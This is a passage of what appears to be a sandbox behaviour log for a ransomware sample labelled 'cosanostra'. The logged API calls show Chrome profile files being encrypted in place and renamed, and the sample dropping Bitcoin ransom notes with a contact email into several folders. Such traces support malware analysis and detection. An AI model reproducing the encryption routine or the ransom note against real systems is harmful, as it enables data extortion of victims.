dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.565] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xd2c, lpNumberOfBytesWritten=0x251f9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f9ec*=0xd2c, lpOverlapped=0x0) returned 1 [0084.565] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.565] WriteFile (in: hFile=0x184, lpBuffer=0x251fa2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9ec, lpOverlapped=0x0 | out: lpBuffer=0x251fa2c*, lpNumberOfBytesWritten=0x251f9ec*=0x4, lpOverlapped=0x0) returned 1 [0084.565] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f9ec*=0x30, lpOverlapped=0x0) returned 1 [0084.565] CloseHandle (hObject=0x184) returned 1 [0084.565] wnsprintfW (in: pszDest=0x3023068, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.cosanostra") returned 153 [0084.565] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.cosanostra")) returned 1 [0084.566] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa30 | out: pbBuffer=0x251fa30) returned 1 [0084.566] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa28*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa28*=0x30) returned 1 [0084.566] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.566] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 92 [0084.566] StrStrW (lpFirst="data_1", lpSrch=".txt") returned 0x0 [0084.566] ReadFile (in: hFile=0x184, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251f9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x251f9ec*=0x2800, lpOverlapped=0x0) returned 1 [0084.577] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.577] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f9ec*=0x2800, lpOverlapped=0x0) returned 1 [0084.577] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.577] WriteFile (in: hFile=0x184, lpBuffer=0x251fa2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9ec, lpOverlapped=0x0 | out: lpBuffer=0x251fa2c*, lpNumberOfBytesWritten=0x251f9ec*=0x4, lpOverlapped=0x0) returned 1 [0084.632] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f9ec*=0x30, lpOverlapped=0x0) returned 1 [0084.632] CloseHandle (hObject=0x184) returned 1 [0084.633] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1.cosanostra") returned 103 [0084.633] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1.cosanostra")) returned 1 [0084.633] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.636] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.636] WriteFile (in: hFile=0x184, lpBuffer=0x251f8c7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fa88, lpOverlapped=0x0 | out: lpBuffer=0x251f8c7*, lpNumberOfBytesWritten=0x251fa88*=0x1bf, lpOverlapped=0x0) returned 1 [0084.637] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.637] WriteFile (in: hFile=0x184, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fa88, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fa88*=0x2ac, lpOverlapped=0x0) returned 1 [0084.637] CloseHandle (hObject=0x184) returned 1 [0084.637] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.637] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.637] WriteFile (in: hFile=0x184, lpBuffer=0x251f8c3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fa84, lpOverlapped=0x0 | out: lpBuffer=0x251f8c3*, lpNumberOfBytesWritten=0x251fa84*=0x1bf, lpOverlapped=0x0) returned 1 [0084.639] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.639] WriteFile (in: hFile=0x184, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fa84, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fa84*=0x2ac, lpOverlapped=0x0) returned 1 [0084.640] CloseHandle (hObject=0x184) returned 1 [0084.640] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa20 | out: pbBuffer=0x251fa20) returned 1 [0084.640] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa18*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa18*=0x30) returned 1 [0084.640] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.640] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 155 [0084.640] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.640] ReadFile (in: hFile=0x184, lpBuffer=0x22dc08, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251f9dc, lpOverlapped=0x0 | out: lpBuffer=0x22dc08*, lpNumberOfBytesRead=0x251f9dc*=0x123, lpOverlapped=0x0) returned 1 [0084.641] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffedd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.641] WriteFile (in: hFile=0x184, lpBuffer=0x22dc08*, nNumberOfBytesToWrite=0x123, lpNumberOfBytesWritten=0x251f9dc, lpOverlapped=0x0 | out: lpBuffer=0x22dc08*, lpNumberOfBytesWritten=0x251f9dc*=0x123, lpOverlapped=0x0) returned 1 [0084.641] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.641] WriteFile (in: hFile=0x184, lpBuffer=0x251fa1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9dc, lpOverlapped=0x0 | out: lpBuffer=0x251fa1c*, lpNumberOfBytesWritten=0x251f9dc*=0x4, lpOverlapped=0x0) returned 1 [0084.641] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f9dc*=0x30, lpOverlapped=0x0) returned 1 [0084.641] CloseHandle (hObject=0x184) returned 1 [0084.641] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.cosanostra") returned 166 [0084.642] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.cosanostra")) returned 1 [0084.645] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.645] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.645] WriteFile (in: hFile=0x184, lpBuffer=0x251f8bb*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fa7c, lpOverlapped=0x0 | out: lpBuffer=0x251f8bb*, lpNumberOfBytesWritten=0x251fa7c*=0x1bf, lpOverlapped=0x0) returned 1 [0084.646] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.646] WriteFile (in: hFile=0x184, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fa7c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fa7c*=0x2ac, lpOverlapped=0x0) returned 1 [0084.646] CloseHandle (hObject=0x184) returned 1 [0084.646] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa18 | out: pbBuffer=0x251fa18) returned 1 [0084.646] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa10*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa10*=0x30) returned 1 [0084.646] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.647] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 155 [0084.647] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.647] ReadFile (in: hFile=0x184, lpBuffer=0x22dc08, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251f9d4, lpOverlapped=0x0 | out: lpBuffer=0x22dc08*, lpNumberOfBytesRead=0x251f9d4*=0xe1, lpOverlapped=0x0) returned 1 [0084.647] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff1f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.647] WriteFile (in: hFile=0x184, lpBuffer=0x22dc08*, nNumberOfBytesToWrite=0xe1, lpNumberOfBytesWritten=0x251f9d4, lpOverlapped=0x0 | out: lpBuffer=0x22dc08*, lpNumberOfBytesWritten=0x251f9d4*=0xe1, lpOverlapped=0x0) returned 1 [0084.648] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.648] WriteFile (in: hFile=0x184, lpBuffer=0x251fa14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9d4, lpOverlapped=0x0 | out: lpBuffer=0x251fa14*, lpNumberOfBytesWritten=0x251f9d4*=0x4, lpOverlapped=0x0) returned 1 [0084.648] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f9d4*=0x30, lpOverlapped=0x0) returned 1 [0084.648] CloseHandle (hObject=0x184) returned 1 [0084.648] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.cosanostra") returned 166 [0084.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.cosanostra")) returned 1 [0084.649] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa18 | out: pbBuffer=0x251fa18) returned 1 [0084.649] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa10*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa10*=0x30) returned 1 [0084.649] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.649] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 155 [0084.649] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.649] ReadFile (in: hFile=0x184, lpBuffer=0x22dc08, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251f9d4, lpOverlapped=0x0 | out: lpBuffer=0x22dc08*, lpNumberOfBytesRead=0x251f9d4*=0xde, lpOverlapped=0x0) returned 1 [0084.650] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.650] WriteFile (in: hFile=0x184, lpBuffer=0x22dc08*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x251f9d4, lpOverlapped=0x0 | out: lpBuffer=0x22dc08*, lpNumberOfBytesWritten=0x251f9d4*=0xde, lpOverlapped=0x0) returned 1 [0084.650] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.650] WriteFile (in: hFile=0x184, lpBuffer=0x251fa14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9d4, lpOverlapped=0x0 | out: lpBuffer=0x251fa14*, lpNumberOfBytesWritten=0x251f9d4*=0x4, lpOverlapped=0x0) returned 1 [0084.650] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f9d4*=0x30, lpOverlapped=0x0) returned 1 [0084.650] CloseHandle (hObject=0x184) returned 1 [0084.650] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.cosanostra") returned 166 [0084.650] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.cosanostra")) returned 1 [0084.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.651] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.651] WriteFile (in: hFile=0x184, lpBuffer=0x251f8af*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fa70, lpOverlapped=0x0 | out: lpBuffer=0x251f8af*, 